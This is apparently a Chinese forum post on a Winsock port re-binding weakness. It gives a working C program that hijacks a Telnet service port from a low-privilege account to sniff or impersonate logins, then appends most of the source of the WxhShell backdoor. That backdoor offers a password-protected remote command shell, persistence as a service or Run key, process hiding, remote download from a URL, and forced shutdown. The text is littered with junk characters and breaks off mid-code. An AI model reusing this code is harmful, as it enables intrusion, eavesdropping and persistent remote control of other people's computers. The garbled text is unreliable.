在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
RAW;ze*" s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
h( | T. Z
[!"x&H]h saddr.sin_family = AF_INET;
-#Z df| ^DYS~I%s saddr.sin_addr.s_addr = htonl(INADDR_ANY);
5$9$R(KU &;@L]
o bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
<],{at` v :iE b^F} 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
`ASDUgx Mq !T0I; j& 这意味着什么?意味着可以进行如下的攻击:
6K.2VY# :HY$x 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
JS/'0. fL*7u\m: 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
N5?bflY '`jGr+K,wU 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
:v^/k]S D3o,2E(o 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
> 80{n8 /!5Wd(: 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
(?4%Xtul1 zdYH9d>D 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
.QvD603%5 ~,)jZ-fw 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
6W
i
n!4 d/d)MoaJ*t #include
hP6f #include
B;9,Qbb #include
!l[;,l #include
F[ E'R.: DWORD WINAPI ClientThread(LPVOID lpParam);
'@{:FrG*U int main()
io#}z4"'qY {
KIF9[/P WORD wVersionRequested;
x9l7|G/$ DWORD ret;
tYjG8P# WSADATA wsaData;
`J.,dqGb BOOL val;
Sdq}?- &Sa SOCKADDR_IN saddr;
[Sm<X SOCKADDR_IN scaddr;
MLDzWZ~}ef int err;
=KPmZ ,/w SOCKET s;
a#p+.)Wm SOCKET sc;
,.)wCZ,wca int caddsize;
Z)rW>I
HANDLE mt;
Ks.b).fH DWORD tid;
](r}`u%}y wVersionRequested = MAKEWORD( 2, 2 );
Hx#YN*\.M err = WSAStartup( wVersionRequested, &wsaData );
?}HK!feU if ( err != 0 ) {
!#0)`4O printf("error!WSAStartup failed!\n");
nb_/1{F return -1;
r^
r+h[V }
_}R$h=YD saddr.sin_family = AF_INET;
Z
'5itN^ k~[jk5te //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
#49l\>1z <9@n/ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
E*'Y xI saddr.sin_port = htons(23);
Zmu if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
B}"R@;N {
3fOOT7!FL printf("error!socket failed!\n");
MzvhE0ab return -1;
tD8fSV }
/zIG5RK> val = TRUE;
2!%)_< //SO_REUSEADDR选项就是可以实现端口重绑定的
3bRxV
@0. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Gk:fw#R {
DGFSD Py[ printf("error!setsockopt failed!\n");
FvsVfV U return -1;
j^jC| }
S`-I-VS=L //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
)\+Imn //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
fJ}e //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
i c{I :w8{BIUN) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
S
m(*<H {
\,;glY=M! ret=GetLastError();
NO5k1/- printf("error!bind failed!\n");
n.+*_c8 k return -1;
@<W` w }
+`>7cy%cZ listen(s,2);
m>uG{4<- while(1)
~ 5}t; {
W|<c[S caddsize = sizeof(scaddr);
KM &P5} //接受连接请求
vQ<
~-E sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
-ssb|r if(sc!=INVALID_SOCKET)
'o&d!
{
6J;!p/C8E mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
D`XXR}8V if(mt==NULL)
;@;aeu {
wUvE printf("Thread Creat Failed!\n");
jIKg* @ break;
S?v/diK ]J }
VxY]0&sq }
3,p!Fun:r CloseHandle(mt);
2$JZ(qnN }
19fa7E< closesocket(s);
EZ!! V~ WSACleanup();
=1[_#Moc6 return 0;
=z}PR1X! }
GgxPpS<ne DWORD WINAPI ClientThread(LPVOID lpParam)
Z=%
j|xE_ {
~~yng-3)1 SOCKET ss = (SOCKET)lpParam;
~<k>07 SOCKET sc;
"dpjxH=xO unsigned char buf[4096];
)WvKRp r SOCKADDR_IN saddr;
CaYb}.:AX long num;
*(x.egORd DWORD val;
^fF#Ej1 DWORD ret;
o@A`AA9 //如果是隐藏端口应用的话,可以在此处加一些判断
M7BpOmK' //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
c|<F8n saddr.sin_family = AF_INET;
hNc8uV{r= saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
CVO_F=; saddr.sin_port = htons(23);
nf
pO if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,!>
~izB {
hk
!=ZE3 printf("error!socket failed!\n");
;Am3eJa*- return -1;
]]p\1G }
*k(FbZ val = 100;
S$b)X"h if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'bbw0aB4 {
bg~CV&]M ret = GetLastError();
jwwRejNV return -1;
8R)K$J$Hm }
@Z/jaAjUC if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
F
w{:shC {
J@>|`9T9$ ret = GetLastError();
YI0l&'7 return -1;
,X/j6\VBO }
:}_hz ) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
GkOk.9Y,5 {
Pz50etJ printf("error!socket connect failed!\n");
r 2:{r`ocM closesocket(sc);
NFVu~t closesocket(ss);
g:uVl;> return -1;
q&=z^Ln!G }
^S|qGu,G while(1)
\zU<o~gs {
&_3#W.w~Z //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
;8[VCU: //如果是嗅探内容的话,可以再此处进行内容分析和记录
aH;AGbp //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
e\~nqKCb num = recv(ss,buf,4096,0);
huqtk4u if(num>0)
D@p{EH send(sc,buf,num,0);
ET^?>YsA else if(num==0)
u""26k51 break;
Sk
EI51] num = recv(sc,buf,4096,0);
Op0*tj2i), if(num>0)
2:Yvr_L send(ss,buf,num,0);
Zwq\m.h else if(num==0)
emQc%wd{ break;
8K2 @[TE=5 }
M?8sy closesocket(ss);
~;?mD/0k closesocket(sc);
v[|-`e* return 0 ;
uWx<J3~q. }
zsQ]U!*rD L%H\|>k` ]6(%tU ==========================================================
yoGG[l2k>s & *tL)qKDc 下边附上一个代码,,WXhSHELL
O+&;,R: wHbmK ==========================================================
f5//?ek a)lCp #include "stdafx.h"
6}Y==GPt [!U%'' #include <stdio.h>
-f ? #include <string.h>
nU= #include <windows.h>
Lvt3S
.l #include <winsock2.h>
ok6t|
7sq #include <winsvc.h>
Gt{%O>P8t #include <urlmon.h>
5~pxu kmW/{I9,ua #pragma comment (lib, "Ws2_32.lib")
TgJ+:^+0 #pragma comment (lib, "urlmon.lib")
Wx}-H/t'2 -e$ T}3IV #define MAX_USER 100 // 最大客户端连接数
gIO_mJ3 u #define BUF_SOCK 200 // sock buffer
xw{K,;WeO #define KEY_BUFF 255 // 输入 buffer
NEIF1(: @=G[mc\ #define REBOOT 0 // 重启
}\m.~$|[ #define SHUTDOWN 1 // 关机
Qu#[PDhb $@s-OQ} #define DEF_PORT 5000 // 监听端口
*_YH}U AxEdQRGk #define REG_LEN 16 // 注册表键长度
qbQdxKk #define SVC_LEN 80 // NT服务名长度
.0,G4k/yv tJ\v>s-f // 从dll定义API
<c5g-*V: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ADF<5#I typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
2v(Y'f. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
l`#rhuy` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
5222"yn"c ("(wap~<nD // wxhshell配置信息
'=G6$O2 struct WSCFG {
S['rTuk int ws_port; // 监听端口
aAP86MHO char ws_passstr[REG_LEN]; // 口令
s5v}S'uO{ int ws_autoins; // 安装标记, 1=yes 0=no
"%Ief4 char ws_regname[REG_LEN]; // 注册表键名
n?c[ E+i; char ws_svcname[REG_LEN]; // 服务名
#"oLz"{ char ws_svcdisp[SVC_LEN]; // 服务显示名
i<$?rB!i<1 char ws_svcdesc[SVC_LEN]; // 服务描述信息
3w>1R>7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
t"9r`0> int ws_downexe; // 下载执行标记, 1=yes 0=no
+9]t]Vrw char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
i{9.bpp/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
zk1]? ZUj1vf6I };
kbvF
9# -+i7T^@| // default Wxhshell configuration
%<+Ku11 struct WSCFG wscfg={DEF_PORT,
oR%cG"y "xuhuanlingzhe",
HoX={^aG% 1,
$ r-rIW5\ "Wxhshell",
djoP`r "Wxhshell",
4h?@D_{k "WxhShell Service",
CXGMc)#>f "Wrsky Windows CmdShell Service",
IR3+BDE)> "Please Input Your Password: ",
N`d%4)|{ 1,
_s<BXj "
http://www.wrsky.com/wxhshell.exe",
'A3*[e|OS "Wxhshell.exe"
]N\D^`iQ };
,Y|
;V G,+3(C // 消息定义模块
yD$d^/: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Jj0:p" char *msg_ws_prompt="\n\r? for help\n\r#>";
(I6Q"&h] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
|F\fdB}?S: char *msg_ws_ext="\n\rExit.";
U:@tdH+A7 char *msg_ws_end="\n\rQuit.";
N2|NYDQs char *msg_ws_boot="\n\rReboot...";
yXIJeo" char *msg_ws_poff="\n\rShutdown...";
j"Ew)6j char *msg_ws_down="\n\rSave to ";
00SS<iX @K S .H char *msg_ws_err="\n\rErr!";
[j
TU nP char *msg_ws_ok="\n\rOK!";
Wcm'E3c, }!r
pH{y char ExeFile[MAX_PATH];
~Hd* Xl int nUser = 0;
C2b<is=H: HANDLE handles[MAX_USER];
a".iVf6y int OsIsNt;
X%og}Cfi sEKF SERVICE_STATUS serviceStatus;
E:B<_ SERVICE_STATUS_HANDLE hServiceStatusHandle;
!]fSS)\H XR<g~&h // 函数声明
,dosF Q int Install(void);
N_FjEZpX int Uninstall(void);
=b"{*Heuw int DownloadFile(char *sURL, SOCKET wsh);
J0f!+]~G3 int Boot(int flag);
"9X!Ewm"P void HideProc(void);
xFIzq int GetOsVer(void);
6~>h;wC int Wxhshell(SOCKET wsl);
X,lhVT
| void TalkWithClient(void *cs);
.F%jbnKd_ int CmdShell(SOCKET sock);
<Mj{pN3 int StartFromService(void);
NU'2QSU8 int StartWxhshell(LPSTR lpCmdLine);
aMT=pGU C]3:&dx9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Y~*aA&D VOID WINAPI NTServiceHandler( DWORD fdwControl );
x&JD~,Y ~PAI0+*"q // 数据结构和表定义
<EE^ KR96 SERVICE_TABLE_ENTRY DispatchTable[] =
M(C$SB> {
vxi_Y\r=T {wscfg.ws_svcname, NTServiceMain},
eA``fpr {NULL, NULL}
ePR9r} };
j4`+RS+q * RX^ z6 // 自我安装
xh#pw2v7V int Install(void)
MO| Dwuaf {
p)z#%BY56 char svExeFile[MAX_PATH];
W lW%z(RC HKEY key;
7 _"G@h strcpy(svExeFile,ExeFile);
M$!-B,1BX {KK/mAp{ // 如果是win9x系统,修改注册表设为自启动
{:\LFB_ if(!OsIsNt) {
rf`xY4I\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RFSwX*! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
j,
*=D6 RegCloseKey(key);
@.)[U:N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
xzFQ)t& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Vo.~1^ RegCloseKey(key);
fo~*Bp()-E return 0;
WCk. K }
+!:=Mm }
^qVBg BPb }
bVa?yWb. else {
.kkhW8: /2*BdE[yG // 如果是NT以上系统,安装为系统服务
|TQ4:P1T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
cf^ i!X0 if (schSCManager!=0)
U9Ea}aN {
M
'%zA;Wl SC_HANDLE schService = CreateService
^ rUq{ (
J,=ZUh@M schSCManager,
sX}#L wscfg.ws_svcname,
0S&J=2D! wscfg.ws_svcdisp,
[}l 90 lP SERVICE_ALL_ACCESS,
FJKlqM5] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Jf#-OlEQ SERVICE_AUTO_START,
#W.vX=/* SERVICE_ERROR_NORMAL,
paMK]- svExeFile,
Bva2f:)K| NULL,
sO(4F8cpU NULL,
<5#2^ ( NULL,
nz#eJ NULL,
T-+ uQ3 NULL
[~G1Rz\h );
vl+bc[ i~ if (schService!=0)
oSjYp(h: {
0ZLLbEfnPB CloseServiceHandle(schService);
4pelIoj CloseServiceHandle(schSCManager);
u]`0QxvZ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
H;q[$EUNb strcat(svExeFile,wscfg.ws_svcname);
]n"U])pJd if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
=1VZcLNt RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
rQ2TPX<?a RegCloseKey(key);
!mB
`F C return 0;
>#gDk K }
.N#KW }
zuFPG{^\# CloseServiceHandle(schSCManager);
qzO5p=} }
^j10
f$B }
PY3bn).uR jffNA^e return 1;
3J/l>1[ }
)iK:BL*Nw s5Wb iOF // 自我卸载
zKaj<Og int Uninstall(void)
bC) <K/Q9 {
N>Uxq&)! HKEY key;
|;d#k+/; tTubW=H if(!OsIsNt) {
CBpwtI>p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
iE_[]Vgc RegDeleteValue(key,wscfg.ws_regname);
G+k wG)K RegCloseKey(key);
vfXNN F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
o-AF_N RegDeleteValue(key,wscfg.ws_regname);
/;[x3}[ RegCloseKey(key);
$"MVr5q6 return 0;
-XK;B--c }
(plT/0=^t }
EAxdF
u }
WB<MU:.Vc else {
gf9U<J#&C ty4R2LnC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ro3%VA=V if (schSCManager!=0)
-xN/H,xok {
nG{o$v_| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
5~im.XfiVx if (schService!=0)
0 VG;z#{J {
:("@U, if(DeleteService(schService)!=0) {
sX*L[3!vN CloseServiceHandle(schService);
EwuRIe;D CloseServiceHandle(schSCManager);
pjoyMHWK return 0;
loE;q}^ }
DO+~ CloseServiceHandle(schService);
]:'] }
*
{~`Lw)y CloseServiceHandle(schSCManager);
+9pock }
[?qzMFb }
[kckE-y `R7dn/ return 1;
X?&{<
vz }
_6`GHx Qe4 % A // 从指定url下载文件
X%N!gy int DownloadFile(char *sURL, SOCKET wsh)
PBFpV8P, {
&5z9C=]e HRESULT hr;
6X?:mn'%QF char seps[]= "/";
![fNlG!r char *token;
?UOaqcL char *file;
{cO8q
}L char myURL[MAX_PATH];
' u;Zw%O(J char myFILE[MAX_PATH];
yJ ljCu)f %4V$')rek strcpy(myURL,sURL);
"9" token=strtok(myURL,seps);
%B1)m A; while(token!=NULL)
jENC1T( {
g>w {{G file=token;
".N{v1 token=strtok(NULL,seps);
)UTjP/\gN }
Ht/#d6cQ aSxDfYN=R GetCurrentDirectory(MAX_PATH,myFILE);
R?/xH=u> strcat(myFILE, "\\");
3hje strcat(myFILE, file);
?,+&NX3m send(wsh,myFILE,strlen(myFILE),0);
'jO8C2Th% send(wsh,"...",3,0);
l]Xbd{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
B4* y-Q.* if(hr==S_OK)
D]rYg' return 0;
bAN>\zG+ else
AkdO:hVtG return 1;
C+jXH)|iq a^E>LJL }
Sl'$w4s
4<)*a]\c5M // 系统电源模块
Z#(Y%6[u int Boot(int flag)
i "X" -)# {
*QIYq HANDLE hToken;
#h
U4gX, TOKEN_PRIVILEGES tkp;
\.p;
4V& 5JK'2J& if(OsIsNt) {
%g89eaEZ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
B!8X?8D LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
8faT@J'e; tkp.PrivilegeCount = 1;
$<C",& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
iQT0%WaHl AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
}~ N\A if(flag==REBOOT) {
Ea'jAIFPpO if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
\/gf_R_GN return 0;
5K682+^5 }
v&7<f$5 else {
8 4reyA if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
.3XiL=^~Qp return 0;
rnp; R }
f&$;iE }
f#m@eb else {
4,h)<(d{ if(flag==REBOOT) {
8;c\}D if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Qp)?wny4 return 0;
D^P0X:T] }
%zRuIDmv else {
"UhE'\() if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
A
#m _w* return 0;
8t, &dq }
RW1+y/#%P }
v6Y[_1 rz-61A) _ return 1;
Z(tO]tQE }
0aI@m <Kr`R+Q$DN // win9x进程隐藏模块
ADB)-!$xoi void HideProc(void)
O;McPw<&\: {
nN@
Ch E_[a|N"D HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
z8%qCq if ( hKernel != NULL )
zSk`Ou8M {
%[9ty`UE pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
MtF0/aT ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
BD}%RTeWKq FreeLibrary(hKernel);
NV?XZ[<*< }
-)Vy)hD, ZqpK}I return;
w`+-xT% }
v*.iNA;&i <RbfW'<G // 获取操作系统版本
c&wiTvRV int GetOsVer(void)
Nge@8 {
C?]eFKS." OSVERSIONINFO winfo;
MZcvr 9y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
_s5FYb# GetVersionEx(&winfo);
D)l\zs%ie if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
vlZmmQeJm return 1;
#Dz"g_d else
p1i}fGS return 0;
cC| }
V*(x@pF ahCwA} // 客户端句柄模块
%21 |-B int Wxhshell(SOCKET wsl)
Lc[TIX {
02%~HBS SOCKET wsh;
iycceZ struct sockaddr_in client;
OT=1doDp
DWORD myID;
Xo[cpcV F1B/cd while(nUser<MAX_USER)
Q*1'k%7 {
@p^EXc*| int nSize=sizeof(client);
q
_K@KB wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
QJiH^KY6 if(wsh==INVALID_SOCKET) return 1;
x5pu+-h `'3 De( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
c(FGW7L< if(handles[nUser]==0)
-r_\=<( closesocket(wsh);
:"Tkl$@, else
89{;R nUser++;
@|">j#0 }
KSEKoHJo WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
}U5$~,*p QHUFS{G] return 0;
3&{6+ A }
'W54 T F`(;@LO // 关闭 socket
"cly99t void CloseIt(SOCKET wsh)
ZF#n(Y? {
!;[cJbqnh closesocket(wsh);
|JWYsqJ0U nUser--;
n
c~JAT#' ExitThread(0);
:AqtPV'
}
DrAIQ7Jd 4^nHq 4_ // 客户端请求句柄
B1E:P`t void TalkWithClient(void *cs)
T\6,@7 {
.'38^ n<> ^cD SOCKET wsh=(SOCKET)cs;
#DJZ42 char pwd[SVC_LEN];
q *Hg-J} char cmd[KEY_BUFF];
&?5)Jis: char chr[1];
B~qo^ppVU int i,j;
i!3*)-a\~` -wl&~}%M while (nUser < MAX_USER) {
)t7MD( eX}aa0 if(wscfg.ws_passstr) {
'/0e!x/8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"zTy_0[; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
h&d"| < //ZeroMemory(pwd,KEY_BUFF);
gp $Rf9\ i=0;
xt"-Jmox while(i<SVC_LEN) {
u(f;4` +|pYu<OY // 设置超时
gae=+@z fd_set FdRead;
5T( cy struct timeval TimeOut;
ZPq.|6& FD_ZERO(&FdRead);
gV\Y>y4v FD_SET(wsh,&FdRead);
ZfVY:U:o> TimeOut.tv_sec=8;
6|3 X*Orn TimeOut.tv_usec=0;
ohJDu{V int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
M}CxCEdDB] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
!Yn#3c dhJ=+Fz"w if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
D/4]r@M2c pwd
=chr[0]; I!1+#0SG
if(chr[0]==0xd || chr[0]==0xa) { iTO Y
pwd=0; 5P\A++22Y
break; FU .%td=:
} ,2^A<IwR
i++; JTBt=u{6^
} 8==M{M/eM
tf8xc
// 如果是非法用户,关闭 socket Fi;OZ>;a
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ru`U/6n
} }-XZ1qr
cwtlOg
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (0`w.n
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B|$o.$5
kdV9F
while(1) { 7w8UnPuM
uW#s;1H.)
ZeroMemory(cmd,KEY_BUFF); hm0A%Js
I} +up,B]o
// 自动支持客户端 telnet标准 Y TY(Et1i
j=0; y3QS!3I
while(j<KEY_BUFF) { !io1~GpKS
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;C:|m7|
cmd[j]=chr[0]; 59W~bWHCP
if(chr[0]==0xa || chr[0]==0xd) { t#y,9>6
cmd[j]=0; HyKA+7}
break;
kz6fU\U
} 5ZH3}B^L$
j++; Y{#*;p*I
} +(afO~9
S+wT}_BQ
// 下载文件 ~%M*@fm
if(strstr(cmd,"http://")) { dw5"}-D
send(wsh,msg_ws_down,strlen(msg_ws_down),0); )uR_d=B&
if(DownloadFile(cmd,wsh)) +c
C.
ZOS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8JF<SQ
else >BK/HuS
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kw gLK@@%1
} `VUJW]wGu
else { 2 @T~VRy
#G`K<%{?f
switch(cmd[0]) { 5VQ-D`kE+
H8dS]N~[Y
// 帮助 :i0;jWcb
case '?': { 3^fwDt}
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L+
XAbL)
break; AL,7rYZG$
} &HAu;u@
// 安装 d8+@K&z|
case 'i': { dKU:\y
if(Install()) .8%b;b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "X;5*
4+
else [uHC
AP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9rT^rTV
break; -{9mctt/gE
} `^'fS@VA
// 卸载 *jPd=+d
case 'r': { }BL7P-km
if(Uninstall()) &nI>`Q'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qo^(r$BD
else I_Gz~ qk6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !~R<Il|B
break; !.t D.(XP
} 74:~F)BP
// 显示 wxhshell 所在路径 rKFnivGT
case 'p': { $M!iQ"bb
char svExeFile[MAX_PATH]; BKb#\(95*
strcpy(svExeFile,"\n\r"); $U9]v5
strcat(svExeFile,ExeFile); q+*\'H>
send(wsh,svExeFile,strlen(svExeFile),0); P6La)U`VA
break; .QZjJ9pvK
} yE,qLiH
// 重启 ,c?(
|tF
case 'b': { >$-YNZA
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4cPZGZ{U
if(Boot(REBOOT)) q165S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OgC,oj,!/
else { /je
$+
closesocket(wsh); Rf>)#hn%
ExitThread(0); ^ +@OiL>&i
} kN{$-v=K
break; ISK 8t
} A?}[rM
Z
// 关机 P:vp/x!
case 'd': { `aG_ m/7|
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U$+,|\9
if(Boot(SHUTDOWN)) ;s3\Z^h4kd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gC iM\Qx
else { 1jop;{,^
closesocket(wsh); }
S]!W\a
ExitThread(0); jn(!6\n"
} :#?_4D!r
break; ~"J1@<
} e`LkCy[_
// 获取shell vxC];nCC#
case 's': { 'bSWJ/;p)
CmdShell(wsh); %,HUn`
closesocket(wsh); j3`YaWw
ExitThread(0); hi/d%lNZ
break; MMpId
Uhr
} _
A#lyp
// 退出 FJCORa@?_
case 'x': { GK1nGdT]
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y*\h?p[,
CloseIt(wsh); 'v
CMf
break; & /T}
} m;>G]Sbe
// 离开 <Lxp t
case 'q': { =SeQ- H#
send(wsh,msg_ws_end,strlen(msg_ws_end),0); !o?&{"#+
closesocket(wsh); jIrfJ*z
WSACleanup(); $':5uU1}
exit(1); T|D^kL%m!
break; ty"L&$bf
} Z4As'al
} %cUC~, g_(
} jnztCNaX
]cS(2hP7
// 提示信息 a)=|{QR>W
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (?^ F }]
} ^p9V5o
} Tsb}\
IO
0nT
return; 1y1:<t
} 'kC#GTZi
#\^=3A|b
// shell模块句柄 rCczQ71W
int CmdShell(SOCKET sock) ,VEE<*'X
{ ZX`x9/0&
STARTUPINFO si; `5wiXsNjLY
ZeroMemory(&si,sizeof(si)); w6X:39d
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^9 LoxU-
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oA~0"}eS
PROCESS_INFORMATION ProcessInfo; AA=rjB9
char cmdline[]="cmd"; 4[]*=
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); glU9A39qx?
return 0; E# 8|h(
} '/ Hoq
<a
-a~
// 自身启动模式 (GL'm[V
int StartFromService(void) SG\ /m'F
{ G<<;a
typedef struct .JB1#&B+
{ F*Hovxez
DWORD ExitStatus; Vjt7X"_/
DWORD PebBaseAddress; W5Pur
lu?
DWORD AffinityMask; *WJK&
DWORD BasePriority; 3gVU#T[[
ULONG UniqueProcessId; +2 oZML
